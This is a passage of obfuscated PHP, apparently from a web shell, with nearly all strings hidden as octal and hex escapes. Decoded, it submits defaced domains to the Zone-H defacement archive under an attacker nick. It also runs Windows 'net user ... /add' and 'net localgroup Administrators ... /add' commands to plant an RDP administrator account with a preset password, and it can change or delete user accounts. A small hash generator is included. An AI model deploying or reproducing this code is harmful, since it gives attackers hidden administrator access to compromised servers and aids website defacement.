"\74\x63\x65\156\164\x65\x72\76\104\145\x66\141\x63\145\x72\40\x41\162\143\x68\151\x76\x65\72\40\74\x61\40\150\x72\145\x66\75\x27\x68\164\x74\160\x3a\x2f\57\167\167\x77\x2e\x7a\x6f\x6e\145\55\x68\56\157\x72\x67\57\x61\162\143\x68\x69\x76\145\x2f\x6e\157\164\151\x66\x69\x65\x72\75{$nick}\x27\40\164\141\x72\147\x65\164\75\x27\x5f\x62\154\x61\x6e\153\x27\76\x68\164\164\160\72\x2f\57\x77\x77\167\56\x7a\157\x6e\145\55\x68\56\x6f\x72\147\57\141\x72\x63\150\x69\166\145\x2f\x6e\x6f\x74\151\146\x69\145\x72\x3d{$nick}\74\57\141\x3e\x3c\x62\162\x3e\x3c\x62\x72\76\x3c\57\x63\145\x6e\x74\145\x72\x3e"; function zoneh($url, $nick) { $ch = curl_init("\x68\164\x74\160\x3a\x2f\x2f\167\x77\x77\x2e\172\x6f\156\145\x2d\150\x2e\x63\157\155\x2f\156\157\164\x69\146\x79\57\x73\x69\x6e\147\x6c\145"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "\144\145\146\141\x63\145\162\x3d{$nick}\46\144\157\155\x61\151\156\x31\x3d{$url}\46\x68\141\143\153\x6d\157\x64\x65\75\x31\46\x72\145\x61\163\157\x6e\x3d\61\x26\x73\x75\142\x6d\x69\x74\x3d\x53\145\156\x64"); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("\57\143\157\154\x6f\162\x3d\42\x72\145\x64\42\x3e\117\113\x3c\134\57\146\x6f\x6e\164\x3e\74\x5c\x2f\x6c\151\76\x2f\x69", $zoneh)) { echo "\x3c\143\x65\156\x74\145\162\x3e{$url}\40\55\x3e\40\x3c\146\x6f\x6e\x74\40\x63\157\x6c\157\x72\x3d\154\151\155\x65\x3e\x4f\113\74\x2f\146\x6f\156\164\76\x3c\x62\x72\76\74\57\x63\145\x6e\x74\x65\x72\x3e"; } else { echo "\74\x63\x65\x6e\x74\x65\162\x3e{$url}\x20\x2d\x3e\40\74\146\x6f\156\x74\x20\143\x6f\154\157\x72\75\x72\145\x64\x3e\105\122\122\x4f\122\74\57\146\157\156\x74\x3e\74\142\x72\x3e\x3c\57\x63\145\x6e\164\145\162\x3e"; } } } else { echo "\74\143\145\156\x74\145\162\76\x3c\146\x6f\x72\155\x20\155\x65\164\x68\x6f\x64\75\x27\160\157\163\x74\x27\x3e\12\x9\x9\x3c\165\x3e\104\145\x66\x61\x63\145\162\74\x2f\x75\76\72\x20\74\142\162\x3e\xa\x9\x9\x3c\x69\x6e\160\165\x74\x20\x74\171\160\x65\75\47\x74\x65\x78\x74\x27\40\x6e\x61\x6d\x65\x3d\x27\x6e\151\143\x6b\x27\40\x73\x69\172\145\75\47\65\60\47\40\143\x6c\x61\x73\163\75\x27\x75\x70\x27\x20\163\164\x79\154\x65\75\47\167\151\144\164\150\x3a\x20\64\x35\x30\160\x78\x3b\x20\x63\165\x72\x73\157\x72\x3a\40\x70\157\x69\x6e\164\145\x72\73\x20\x62\157\x72\x64\145\162\x2d\143\x6f\x6c\157\x72\72\40\43\x66\x66\x66\x27\40\166\x61\154\165\x65\75\47\x4e\151\x6e\172\x69\x6e\x27\x3e\x3c\x62\162\76\12\x9\11\x3c\165\76\104\x6f\155\x61\151\x6e\x73\74\57\165\76\72\x20\74\142\x72\76\xa\x9\11\x3c\164\x65\170\x74\141\162\145\x61\40\x63\154\x61\163\163\x3d\x27\165\160\x27\x20\x73\x74\x79\x6c\145\x3d\x27\x77\x69\144\x74\x68\72\x20\64\x35\x30\x70\x78\x3b\40\150\x65\x69\147\150\164\72\x20\62\x30\60\x70\x78\x3b\x20\143\x75\162\x73\157\x72\x3a\x20\x70\x6f\x69\x6e\164\145\x72\73\40\x62\157\162\x64\145\162\x2d\x63\x6f\154\x6f\162\x3a\x20\43\146\x66\146\x27\40\x6e\141\x6d\x65\x3d\47\x75\162\154\47\76\x3c\57\x74\145\x78\x74\141\162\145\141\76\74\142\x72\76\12\x9\11\74\151\x6e\160\165\164\40\x74\171\160\x65\x3d\47\163\x75\x62\155\151\164\47\40\156\x61\155\x65\x3d\47\x73\165\142\155\151\164\x27\x20\x76\141\x6c\x75\x65\x3d\x27\x53\x75\142\155\x69\164\47\40\163\x74\171\154\x65\75\x27\x77\x69\144\x74\150\x3a\x20\x34\65\x30\160\170\x3b\x27\76\xa\11\11\74\57\146\157\162\155\x3e\x3c\x62\x72\76"; } echo "\74\57\143\145\x6e\164\x65\x72\x3e"; } elseif (isset($_GET["\150\x61\x73\x67\145\x6e"])) { $submit = isset($_POST["\x65\x6e\164\x65\162"]); if (isset($submit)) { $pass = $_POST["\160\141\163\163\x77\157\x72\144"]; $salt = "\175\43\x66\x34\x67\141\176\147\x25\67\x68\152\147\64\x26\x6a\x28\x37\155\153\77\57\x21\142\x6a\x33\60\141\x62\x2d\x77\151\75\66\136\67\55\44\x5e\x52\71\106\x7c\107\113\x35\112\43\105\x36\x57\x54\x3b\x49\117\x5b\112\x4e"; $hash = md5($pass); $md4 = hash("\155\144\x34", $pass); $hash_md5 = md5($salt . $pass); $hash_md5_double = md5(sha1($salt . $pass)); $hash1 = sha1($pass); $sha256 = hash("\x73\x68\x61\x32\65\x36", $pass); $hash1_sha1 = sha1($salt . $pass); $hash1_sha1_double = sha1(md5($salt . $pass)); } echo "\74\146\157\162\155\x20\x61\143\x74\151\x6f\156\x3d\42\42\40\155\145\x74\x68\x6f\144\75\42\160\157\163\164\42\76"; echo "\x3c\x63\x65\156\x74\145\x72\x3e\x3c\150\x32\76\x48\x61\163\150\40\x47\145\x6e\x65\162\141\x74\157\162\74\x2f\x68\62\76"; echo "\74\x74\141\142\x6c\x65\x3e"; echo "\115\141\x73\165\x6b\x6b\141\x6e\x20\164\x65\x6b\x73\x20\x79\141\156\147\40\151\x6e\x67\151\156\x20\x64\151\40\x65\156\x63\162\x79\x70\x74\72\40"; echo "\74\x69\156\160\165\164\40\143\x6c\x61\x73\x73\x3d\x22\x75\x70\42\x20\x74\x79\160\145\x3d\42\164\145\x78\164\42\x20\x6e\x61\x6d\145\75\x22\x70\141\x73\163\167\157\x72\x64\42\40\x73\164\171\x6c\145\75\x22\167\151\144\164\150\72\x20\x34\65\60\x70\170\x3b\40\x63\165\x72\163\157\162\x3a\x20\x70\x6f\151\156\x74\145\x72\x3b\x20\x62\x6f\x72\144\145\162\55\x63\157\x6c\x6f\162\x3a\x20\43\x66\x66\x66\42\x3e"; echo "\x3c\151\156\160\x75\x74\x20\143\154\x61\163\x73\75\x22\x69\x6e\x70\x75\x74\x7a\142\x75\x74\42\x20\164\171\x70\x65\x3d\42\x73\165\x62\155\x69\x74\42\40\x6e\x61\x6d\145\x3d\x22\145\156\164\x65\x72\42\x20\166\141\154\165\x65\x3d\x22\x48\x61\163\x68\41\42\x3e"; echo "\x3c\142\162\x3e"; echo "\117\162\x69\x67\151\156\x61\154\x20\x50\x61\163\163\x77\157\162\x64\x3a\x20\74\x69\x6e\160\x75\x74\40\x63\154\x61\163\163\75\x75\x70\x20\164\x79\160\145\75\164\x65\170\164\x20\163\164\x79\x6c\145\x3d\42\167\151\144\164\150\72\40\x34\65\60\160\x78\x3b\40\143\165\x72\163\x6f\x72\x3a\x20\160\157\x69\x6e\164\145\x72\73\40\x62\157\162\144\x65\x72\55\143\157\154\157\x72\72\40\x23\x66\146\x66\42\40\166\x61\x6c\165\145\75" . $pass . "\76\x3c\x62\162\76\74\142\x72\x3e"; echo "\x4d\x44\65\72\x20\x3c\151\x6e\x70\x75\164\x20\143\x6c\x61\x73\x73\75\165\x70\40\164\x79\160\x65\x3d\x74\x65\170\164\40\x73\x74\x79\x6c\x65\x3d\42\x77\151\x64\164\150\x3a\40\x34\x35\x30\x70\170\x3b\40\x63\x75\162\x73\x6f\x72\72\x20\160\x6f\x69\156\x74\x65\162\73\x20\142\x6f\162\144\x65\x72\x2d\143\x6f\x6c\157\162\x3a\x20\43\146\146\146\42\40\166\141\x6c\165\x65\x3d" . $hash . "\x3e\74\x62\162\76\x3c\x62\x72\76"; echo "\x4d\x44\x34\x3a\40\x3c\151\x6e\160\x75\164\x20\143\x6c\141\163\x73\x3d\x75\x70\x20\x74\171\x70\145\75\x74\x65\170\x74\40\x73\x74\171\154\145\x3d\42\167\151\x64\x74\150\x3a\40\x34\65\60\x70\x78\73\40\143\x75\x72\163\x6f\162\x3a\x20\x70\157\151\156\164\x65\x72\73\40\x62\157\x72\x64\145\x72\x2d\143\x6f\154\x6f\162\72\x20\43\146\146\146\x22\40\x76\141\154\x75\x65\75" . $md4 . "\x3e\74\x62\x72\x3e\x3c\142\162\76"; echo "\x4d\x44\65\x20\x77\x69\x74\150\40\123\x61\154\x74\x3a\x20\74\151\156\160\x75\x74\x20\143\154\141\163\x73\75\x75\160\40\164\x79\160\x65\x3d\x74\145\x78\164\40\x73\x74\171\154\145\x3d\x22\x77\x69\x64\164\150\72\40\x34\x35\60\160\170\73\40\x63\x75\x72\163\157\162\x3a\40\160\157\x69\156\164\x65\x72\73\40\142\157\162\144\x65\x72\55\143\x6f\154\x6f\162\72\x20\x23\146\146\x66\x22\40\166\141\x6c\x75\145\75" . $hash_md5 . "\76\74\x62\x72\x3e\x3c\142\162\x3e"; echo "\x4d\x44\x35\40\167\x69\x74\x68\x20\123\141\x6c\164\x20\46\40\123\150\x61\x31\72\x20\x3c\x69\156\160\x75\164\40\x63\x6c\141\x73\163\75\x75\160\40\x74\171\160\145\x3d\x74\x65\x78\164\x20\x73\x74\x79\154\145\x3d\x22\167\151\x64\164\150\x3a\40\x34\65\x30\x70\x78\73\x20\x63\165\x72\163\x6f\162\72\x20\160\x6f\151\x6e\x74\145\162\x3b\40\x62\x6f\x72\144\145\162\x2d\x63\x6f\x6c\x6f\162\72\x20\43\x66\x66\146\42\x20\x76\141\154\165\145\75" . $hash_md5_double . "\76\x3c\x62\162\x3e\x3c\x62\162\x3e"; echo "\x53\150\x61\61\x3a\40\74\x69\x6e\x70\x75\164\40\143\154\x61\163\163\75\165\x70\x20\164\x79\x70\x65\x3d\164\145\170\x74\x20\x73\164\171\154\145\75\42\167\x69\144\x74\x68\72\40\64\65\60\160\x78\73\x20\143\x75\x72\x73\157\162\72\x20\160\x6f\x69\x6e\x74\145\162\x3b\x20\x62\x6f\x72\144\145\x72\x2d\143\x6f\x6c\x6f\162\72\40\43\x66\x66\146\42\40\x76\141\x6c\165\x65\75" . $hash1 . "\x3e\74\x62\162\76\x3c\x62\162\76"; echo "\123\150\x61\x32\65\66\x3a\40\74\151\x6e\160\165\164\40\x63\x6c\x61\163\163\75\x75\160\x20\164\x79\160\145\x3d\x74\145\170\x74\x20\163\x74\171\x6c\x65\75\x22\x77\x69\x64\164\150\x3a\40\64\x35\60\160\170\x3b\40\x63\x75\x72\x73\157\x72\72\x20\160\157\x69\x6e\164\145\x72\73\40\142\157\162\x64\145\162\x2d\x63\x6f\154\x6f\162\72\x20\43\x66\x66\x66\42\40\x76\141\x6c\x75\145\x3d" . $sha256 . "\x3e\x3c\x62\162\76\x3c\142\162\x3e"; echo "\123\150\x61\61\40\x77\151\x74\x68\x20\x53\141\x6c\164\72\40\x3c\151\156\160\x75\164\x20\143\x6c\x61\x73\163\75\x75\x70\40\x74\x79\160\145\x3d\164\x65\x78\x74\40\163\x74\171\154\145\75\x22\x77\x69\x64\x74\x68\x3a\40\x34\65\60\x70\x78\x3b\40\x63\165\x72\x73\x6f\162\x3a\x20\x70\157\x69\x6e\x74\x65\x72\73\40\x62\x6f\162\144\145\162\55\x63\157\x6c\157\x72\x3a\40\x23\146\146\x66\42\40\166\x61\x6c\x75\145\75" . $hash1_sha1 . "\x3e\74\x62\x72\x3e\74\x62\x72\x3e"; echo "\x53\150\x61\61\40\167\151\x74\150\40\123\x61\154\x74\40\46\40\115\104\65\72\x20\x3c\151\156\x70\x75\x74\40\143\154\141\163\x73\75\165\x70\x20\x74\x79\160\x65\x3d\x74\145\x78\x74\40\163\164\x79\154\145\75\x22\x77\x69\x64\164\150\x3a\x20\64\65\x30\x70\x78\x3b\40\143\x75\162\x73\157\x72\x3a\x20\160\x6f\x69\156\164\x65\x72\x3b\40\x62\x6f\x72\x64\145\x72\55\143\x6f\x6c\x6f\162\72\40\x23\x66\x66\146\x22\40\x76\141\x6c\165\x65\75" . $hash1_sha1_double . "\76\74\57\x63\145\x6e\x74\x65\162\x3e\74\x2f\164\x61\142\154\x65\x3e\74\x62\162\x3e"; } elseif (isset($_GET["\143\x72\145\141\x74\145\x72\144\x70"])) { if (strtolower(substr(PHP_OS, 0, 3)) === "\x77\151\156") { if (isset($_POST["\143\x72\145\141\164\145"])) { $user = htmlspecialchars($_POST["\x75\163\x65\162"]); $pass = htmlspecialchars($_POST["\160\x61\x73\163"]); if (preg_match("\57{$user}\57", exe("\156\x65\x74\40\165\x73\145\162"))) { echo "\133\111\x4e\x46\x4f\135\x20\x2d\x3e\40\74\x66\x6f\156\164\40\143\x6f\x6c\x6f\x72\x3d\162\145\x64\x3e\x75\163\x65\x72\40\x3c\x66\157\156\x74\x20\x63\x6f\154\157\162\x3d\154\x69\155\x65\76{$user}\74\x2f\146\x6f\x6e\x74\x3e\x20\x73\x75\x64\x61\x68\40\141\144\x61\x20\102\x6f\x73\x6b\165\x68\x68\x3c\57\x66\157\156\x74\76"; } else { $add_user = exe("\156\x65\x74\40\x75\x73\145\x72\40{$user}\40{$pass}\40\57\x61\x64\x64"); $add_groups1 = exe("\156\145\x74\40\x6c\x6f\x63\141\x6c\147\x72\x6f\165\x70\x20\x41\x64\155\151\156\151\163\x74\x72\x61\164\157\162\x73\x20{$user}\x20\x2f\141\144\x64"); $add_groups2 = exe("\x6e\145\164\40\x6c\x6f\x63\141\154\x67\x72\x6f\165\160\x20\101\x64\155\151\x6e\151\x73\164\162\141\164\157\162\x20{$user}\x20\x2f\x61\x64\144"); $add_groups3 = exe("\156\145\x74\x20\154\x6f\143\x61\154\147\x72\x6f\165\160\x20\101\144\x6d\151\156\x69\x73\164\x72\x61\164\x65\165\162\40{$user}\x20\57\141\144\144"); echo "\12\x20\x20\40\x20\x20\x20\40\40\40\40\74\144\x69\x76\40\x63\154\x61\163\x73\75\47\164\x65\x78\164\x2d\x63\145\156\164\x65\x72\47\x3e\xa\x20\40\x20\x20\x20\x20\x20\40\x20\40\74\x64\151\x76\40\x63\154\141\x73\x73\75\x27\144\55\146\x6c\145\170\40\152\x75\x73\x74\x69\146\171\x2d\143\157\x6e\x74\145\156\x74\55\x63\x65\x6e\x74\145\x72\40\x66\x6c\145\170\x2d\x77\x72\x61\160\x27\x20\141\x6c\151\x67\156\x3d\47\143\145\x6e\164\145\162\47\76\12\40\40\x20\40\40\x20\40\x20\40\x20\133\40\122\x44\x50\x20\101\x43\103\x4f\125\116\124\x20\x49\116\106\117\40\135\74\142\x72\76\12\x20\40\x20\x20\x20\x20\40\40\40\40\55\55\55\x2d\55\x2d\x2d\55\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\x2d\55\55\x2d\74\x62\x72\76\xa\40\40\40\x20\40\40\x20\x20\40\40\111\x50\x3a\40\74\146\x6f\x6e\x74\x20\x63\157\154\157\162\x3d\x6c\x69\155\145\x3e" . ipserv() . "\74\x2f\146\157\x6e\x74\76\x3c\142\x72\x3e\12\40\40\x20\40\x20\x20\40\40\40\40\x55\163\145\162\x6e\141\155\x65\x3a\x20\74\146\157\156\x74\40\143\x6f\x6c\157\x72\75\154\x69\155\x65\x3e{$user}\x3c\x2f\x66\x6f\156\x74\x3e\74\x62\162\76\xa\x20\40\40\40\x20\x20\x20\40\x20\40\x50\141\x73\163\167\157\162\x64\72\40\x3c\x66\157\156\164\40\143\157\154\x6f\x72\75\x6c\x69\x6d\x65\76{$pass}\74\x2f\146\157\156\164\76\x3c\x62\x72\x3e\xa\40\40\x20\x20\x20\40\x20\40\x20\40\55\55\x2d\x2d\55\x2d\55\55\x2d\x2d\55\x2d\x2d\x2d\55\55\55\x2d\x2d\55\55\x2d\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\74\x62\x72\x3e\x3c\142\162\76\12\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x5b\x20\x53\x54\101\124\125\123\40\135\x3c\142\162\76\xa\40\40\40\x20\x20\x20\40\40\x20\x20\x2d\55\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\55\x2d\55\55\55\55\55\x2d\x2d\x2d\55\x2d\55\x2d\55\x2d\74\x62\x72\x3e\xa\40\x20\40\40\40\x20\x20\40\40\40\74\x2f\144\x69\x76\76\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\74\x2f\x64\151\x76\76"; if ($add_user) { echo "\74\144\x69\x76\x20\x61\154\x69\x67\x6e\75\47\x63\145\156\x74\145\162\x27\x3e\x5b\141\x64\144\x20\x75\x73\x65\162\135\x20\x2d\76\x3c\57\x66\x6f\x6e\x74\x3e\x3c\x66\157\x6e\164\x20\141\154\151\147\x6e\x3d\47\x63\x65\x6e\x74\145\162\47\x20\143\157\x6c\157\162\75\x27\154\151\155\145\47\x3e\102\x65\x72\x68\141\x73\151\x6c\40\x4e\x69\x68\x20\x42\x6f\163\153\165\x68\x68\x68\x3c\x2f\x66\157\156\x74\76\x3c\x2f\x64\151\x76\x3e\x3c\x62\162\x3e"; } else { echo "\74\x64\x69\x76\x20\x61\x6c\x69\x67\x6e\75\x27\x63\145\x6e\164\145\x72\x27\x3e\x5b\141\x64\144\x20\165\163\x65\162\135\40\55\76\74\x2f\x66\157\156\x74\76\x3c\146\157\156\164\x20\143\157\154\x6f\162\x3d\x27\162\x65\x64\x27\x3e\x47\141\x67\141\x6c\x20\102\157\163\153\x75\150\x68\150\74\x2f\146\x6f\156\164\76\x3c\x2f\144\151\x76\76\74\x62\x72\76"; } if ($add_groups1) { echo "\74\x64\151\166\40\x61\154\151\147\x6e\x3d\x27\x63\x65\x6e\164\145\162\47\x3e\x5b\x61\x64\144\40\154\157\x63\x61\154\147\x72\157\165\x70\x20\x41\x64\x6d\151\x6e\x69\163\x74\162\x61\164\x6f\x72\x73\135\x20\55\76\x20\74\146\x6f\x6e\x74\40\x63\157\154\x6f\x72\75\47\x6c\151\x6d\145\x27\76\102\x65\x72\x68\141\163\x69\154\x20\116\x6a\x65\x6e\143\x3c\x2f\x64\x69\x76\76\74\x2f\x66\157\156\x74\76\x3c\x62\x72\x3e"; } elseif ($add_groups2) { echo "\x3c\x64\x69\166\x20\141\x6c\x69\147\156\x3d\x27\x63\x65\x6e\164\x65\162\47\76\x5b\x61\x64\x64\40\154\x6f\143\x61\154\x67\x72\x6f\x75\160\40\x41\144\155\x69\156\151\x73\x74\162\141\x74\x6f\162\x5d\x20\55\76\40\x3c\x66\x6f\156\164\x20\143\157\x6c\x6f\x72\75\47\x6c\x69\155\x65\x27\x3e\102\145\162\150\141\x73\151\154\x20\x4e\x6a\145\156\x63\74\57\146\157\156\164\76\74\57\144\151\x76\76\x3c\x62\162\76"; } elseif ($add_groups3) { echo "\x3c\144\151\x76\40\141\x6c\x69\x67\156\75\x27\143\145\156\164\145\x72\47\76\x5b\x61\144\x64\40\154\x6f\143\141\154\x67\x72\x6f\165\160\x20\x41\144\155\151\156\151\x73\164\162\141\x74\x65\x75\x72\135\x20\x2d\x3e\x20\74\x66\157\156\164\40\143\x6f\x6c\157\x72\75\x27\154\151\x6d\x65\47\76\102\145\x72\150\141\163\x69\154\40\x4e\152\x65\x6e\143\x3c\57\x66\x6f\x6e\x74\76\x3c\x2f\144\151\x76\76\74\x62\x72\x3e"; } else { echo "\x3c\144\x69\x76\x20\x61\x6c\x69\x67\156\x3d\47\143\145\156\164\145\162\x27\76\133\141\144\144\x20\x6c\x6f\x63\141\x6c\x67\162\157\165\x70\135\x20\55\76\40\x3c\146\x6f\x6e\164\40\143\x6f\x6c\157\162\x3d\x27\x72\145\144\x27\76\107\141\147\x61\x6c\40\102\157\163\x6b\x75\150\x68\x68\x3c\57\146\157\x6e\164\x3e\74\57\144\x69\x76\x3e\x3c\142\x72\x3e"; } echo "\74\x64\151\166\x20\x61\154\x69\147\156\75\x27\x63\145\156\x74\145\x72\47\76\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\55\55\55\55\x2d\55\x2d\55\x2d\55\x2d\55\x2d\55\x2d\x3c\57\x64\x69\166\76\x3c\142\x72\x3e"; } } elseif (isset($_POST["\x73\137\x6f\160\x73\151"])) { $user = htmlspecialchars($_POST["\162\x5f\165\x73\145\x72"]); if ($_POST["\x6f\x70\163\x69"] == "\x31") { $cek = exe("\156\145\164\40\165\163\x65\162\40{$user}"); echo "\x3c\x64\151\166\x20\x61\x6c\151\x67\156\x3d\47\x63\x65\156\164\145\x72\47\76\x43\150\145\143\153\x69\x6e\147\x20\x75\163\145\162\156\141\155\145\x20\74\146\157\156\x74\40\x63\x6f\x6c\x6f\162\x3d\x6c\151\x6d\x65\76{$user}\74\x2f\x66\x6f\x6e\x74\76\40\x2e\x2e\x2e\x2e\56\x2e\x2e\40\74\57\144\151\166\76"; if (preg_match("\x2f{$user}\x2f", $cek)) { echo "\74\x64\151\166\40\x61\x6c\x69\x67\156\75\47\x63\145\x6e\x74\x65\162\47\76\12\x20\40\x20\40\40\40\x20\x20\40\x20\133\x20\x3c\x66\x6f\x6e\164\x20\x63\157\154\157\162\75\154\151\x6d\145\76\x53\x75\x64\141\x68\x20\x61\x64\141\x20\111\x6e\x6a\145\143\164\74\x2f\x66\x6f\x6e\164\x3e\40\135\x3c\142\x72\76\12\40\x20\40\40\40\x20\x20\40\x20\x20\x2d\55\55\55\55\55\x2d\x2d\x2d\x2d\x2d\55\55\55\55\55\x2d\x2d\x2d\55\x2d\x2d\55\55\x2d\55\55\55\x2d\x2d\x3c\x62\x72\76\74\x62\162\76\12\x20\x20\40\x20\40\40\40\40\40\x20\74\160\162\x65\76{$cek}\74\57\x70\x72\145\x3e\74\57\144\151\166\x3e"; } else { echo "\74\x64\151\166\40\x61\x6c\x69\x67\x6e\75\47\143\x65\156\x74\145\x72\x27\x3e\x5b\x20\x3c\146\x6f\156\164\40\x63\157\154\157\162\75\162\145\144\76\142\145\154\x75\155\x20\x61\144\x61\x20\156\152\145\156\143\74\x2f\x66\157\156\x74\76\40\x5d\x3c\x2f\x64\x69\166\x3e"; } } elseif ($_POST["\157\160\163\x69"] == "\62") { $cek = exe("\x6e\145\164\x20\x75\163\145\162\x20{$user}\40\x4e\151\x6e\x7a\x69\156"); if (preg_match("\x2f{$user}\x2f", exe("\x6e\x65\164\40\165\163\145\x72"))) { echo "\74\144\x69\x76\40\141\154\x69\147\x6e\x3d\x27\143\x65\x6e\164\145\x72\x27\76\x5b\x63\x68\141\156\x67\145\x20\x70\x61\163\163\x77\157\162\144\72\40\x3c\146\x6f\x6e\x74\x20\x63\x6f\154\x6f\162\75\154\151\155\x65\x3e\x69\x6e\x64\157\170\160\x6c\x6f\151\164\x3c\x2f\x66\x6f\156\164\x3e\x5d\40\55\76\x20\x3c\57\144\x69\x76\76"; if ($cek) { echo "\74\144\x69\x76\x20\141\154\x69\x67\156\75\47\143\x65\x6e\164\x65\x72\47\x3e\74\146\157\156\164\40\143\157\154\x6f\162\75\154\151\x6d\x65\76\x42\145\x72\150\x61\x73\x69\x6c\x20\111\x6e\152\145\143\x74\74\57\146\x6f\x6e\164\x3e\74\57\x64\151\x76\76"; } else { echo "\74\144\x69\x76\x20\x61\154\151\147\156\75\47\x63\x65\156\164\x65\162\47\76\74\x66\157\x6e\164\40\143\x6f\154\157\162\75\162\145\x64\76\107\141\147\141\x6c\x20\102\x6f\x73\x6b\x75\x68\150\74\x2f\x66\157\x6e\164\76\74\x2f\x64\x69\166\76"; } } else { echo "\74\x64\151\166\x20\141\x6c\151\x67\x6e\75\47\x63\145\x6e\164\145\x72\x27\x3e\x5b\x49\116\106\117\x5d\40\x2d\x3e\x20\74\146\x6f\x6e\x74\x20\x63\157\154\x6f\162\x3d\162\145\144\x3e\x75\x73\145\x72\x20\x3c\146\x6f\x6e\164\x20\143\x6f\x6c\157\162\75\x6c\151\155\x65\76{$user}\x3c\57\146\x6f\156\164\76\x20\142\145\x6c\x75\x6d\40\x61\144\x61\x3c\x2f\146\x6f\x6e\164\x3e\x3c\57\x64\151\166\76"; } } elseif ($_POST["\157\160\163\x69"] == "\63") { $cek = exe("\156\x65\164\40\x75\163\145\x72\40{$user}\x20\57\104\105\x4c\x45\124\x45"); if (preg_match("\57{$user}\57", exe("\156\x65\x74\x20\165\x73\x65\162"))) { echo "\74\x64\x69\x76\x20\141\x6c\151\147\156\75\x27\x63\145\156\164\145\162\x27\x3e\x5b\162\x65\x6d\x6f\166\x65\40\x75\x73\145\162\72\x20\x3c\x66\x6f\156\164\x20\x63\157\154\x6f\162\75\154\x69\155\x65\x3e{$user}\x3c\57\x66\157\156\x74\76\x5d\40\55\x3e\x3c\57\144\151\x76\x3e"; if ($cek) { echo "\x3c\x64\x69\166\x20\141\154\x69\x67\x6e\x3d\x27\143\145\x6e\164\x65\x72\x27\76\x3c\146\157\156\x74\x20\x63\157\x6c\x6f\162\75\154\151\155\145\x3e\x42\145\x72\150\141\x73\151\x6c\x20\111\x6e\152\x65\x63\x74\x3c\57\x66\x6f\x6e\164\76\74\x64\x69\166\x3e"; } else { echo "\74\144\151\x76\x20\141\x6c\151\147\x6e\x3d\47\x63\145\x6e\164\145\162\x27\x3e\74\146\x6f\x6e\x74\40\143\x6f\x6c\157\x72\75\x72\x65\x64\x3e\x47\141\147\x61\154\40\x42\157\x73\x6b\165\x68\150\x3c\x2f\x66\x6f\156\x74\76\x3c\x2f\x64\x69\x76\x3e"; } } else { echo "\74\x64\x69\166\x20\x61\154\151\x67\x6e\75\47\143\x65\x6e\x74\145\x72\47\76\133\x49\x4e\x46\x4f\x5d\x20\55\x3e\40\74\146\157\x6e\x74\x20\x63\157\154\157\x72\75\x72\145\144\76\x75\x73\x65\x72\x20\x3c\x66\x6f\x6e\164\40\x63\x6f\154\x6f\162\75\154\151\155\x65\x3e{$user}\x3c\57\x66\x6f\156\164\x3e\40\142\x65\154\165\x6d\40\141\x64\141\74\x2f\x66\x6f\156\x74\x3e\74\x2f\x64\151\166\76"; } } else { } } else { echo "\12\40\40\x20\x20\40\x20\x3c\x64\151\166\x20\143\x6c\x61\x73\163\x3d\47\164\145\170\164\x2d\143\145\156\x74\x65\x72\47\76\xa\40\x20\x20\x20\40\x20\x3c\144\151\x76\x20\x63\x6c\x61\x73\x73\x3d\x27\144\55\146\x6c\x65\170\x20\x6a\x75\x73\x74\151\x66\x79\x2d\x63\x6f\x6e\164\145\156\x74\55\143\145\x6e\x74\x65\162\40\x66\x6c\x65\170\x2d\x77\162\x61\x70\47\40\x61\154\151\147\156\x3d\47\x63\145\156\x74\x65\x72\47\x3e\xa\40\40\40\40\x20\x20\55\x2d\40\x43\162\145\141\164\x65\40\x52\x44\x50\x20\55\x2d\x3c\142\x72\x3e\12\x20\40\x20\x20\x20\40\x3c\146\x6f\x72\x6d\40\x6d\145\164\150\157\x64\75\47\x70\x6f\163\164\47\76\12\x20\40\40\40\40\x20\74\x69\x6e\160\x75\x74\x20\x74\x79\160\145\75\47\164\x65\170\164\x27\40\156\x61\155\x65\75\x27\x75\163\145\x72\x27\40\160\154\141\x63\x65\150\157\x6c\144\145\x72\x3d\47\x75\163\x65\162\156\x61\155\x65\x27\40\x63\x6c\x61\163\163\x3d\47\x75\160\47\x20\x73\164\171\154\x65\x3d\x27\x77\x69\x64\164\150\x3a\x20\x32\60\x30\160\x78\x3b\x20\x63\x75\162\x73\157\x72\x3a\x20\x70\157\151\x6e\164\x65\x72\73\40\x62\157\162\x64\145\162\x2d\143\x6f\x6c\157\x72\72\x20\43\x66\146\146\47\40\166\141\154\165\145\x3d\x27\116\151\x6e\172\151\156\x27\x20\162\x65\161\x75\151\162\145\144\76\12\x20\x20\40\x20\40\x20\74\151\156\160\165\x74\40\x74\x79\160\145\75\47\164\145\x78\x74\47\40\x6e\141\155\x65\x3d\47\160\141\x73\163\47\40\x70\154\141\x63\145\150\157\x6c\x64\145\x72\x3d\x27\160\141\163\163\x77\157\162\144\x27\40\143\154\141\x73\x73\75\47\x75\160\x27\x20\163\x74\171\154\145\75\x27\x77\151\x64\164\x68\72\40\x32\60\60\x70\x78\x3b\40\x63\x75\x72\x73\x6f\x72\x3a\40\160\x6f\151\x6e\x74\x65\162\73\x20\142\157\x72\144\145\162\55\143\157\x6c\157\162\72\x20\43\x66\x66\x66\47\x20\166\141\154\x75\x65\x3d\47\116\x69\x6e\172\x69\x6e\102\x65\141\165\164\x79\x31\62\x33\x40\47\x20\x72\145\x71\x75\151\x72\x65\144\76\12\40\40\x20\x20\40\40\x3c\x69\x6e\160\x75\164\40\x74\x79\x70\x65\75\x27\x73\165\142\x6d\151\x74\47\40\156\x61\155\x65\x3d\47\x63\x72\x65\141\x74\x65\x27\x20\166\141\x6c\x75\145\75\x27\75\76\x3e\x27\76\12\x20\40\x20\40\x20\40\x3c\57\146\157\162\155\x3e\xa\40\x20\x20\x20\40\x20\x3c\142\162\76\x2d\x2d\x20\117\x70\x74\151\157\x6e\40\55\x2d\74\142\162\76\12\40\x20\40\40\40\40\x3c\146\157\162\x6d\x20\x6d\x65\164\x68\157\x64\x3d\x27\x70\157\163\164\47\x3e\12\x20\x20\40\40\x20\40\74\x69\x6e\160\165\x74\x20\1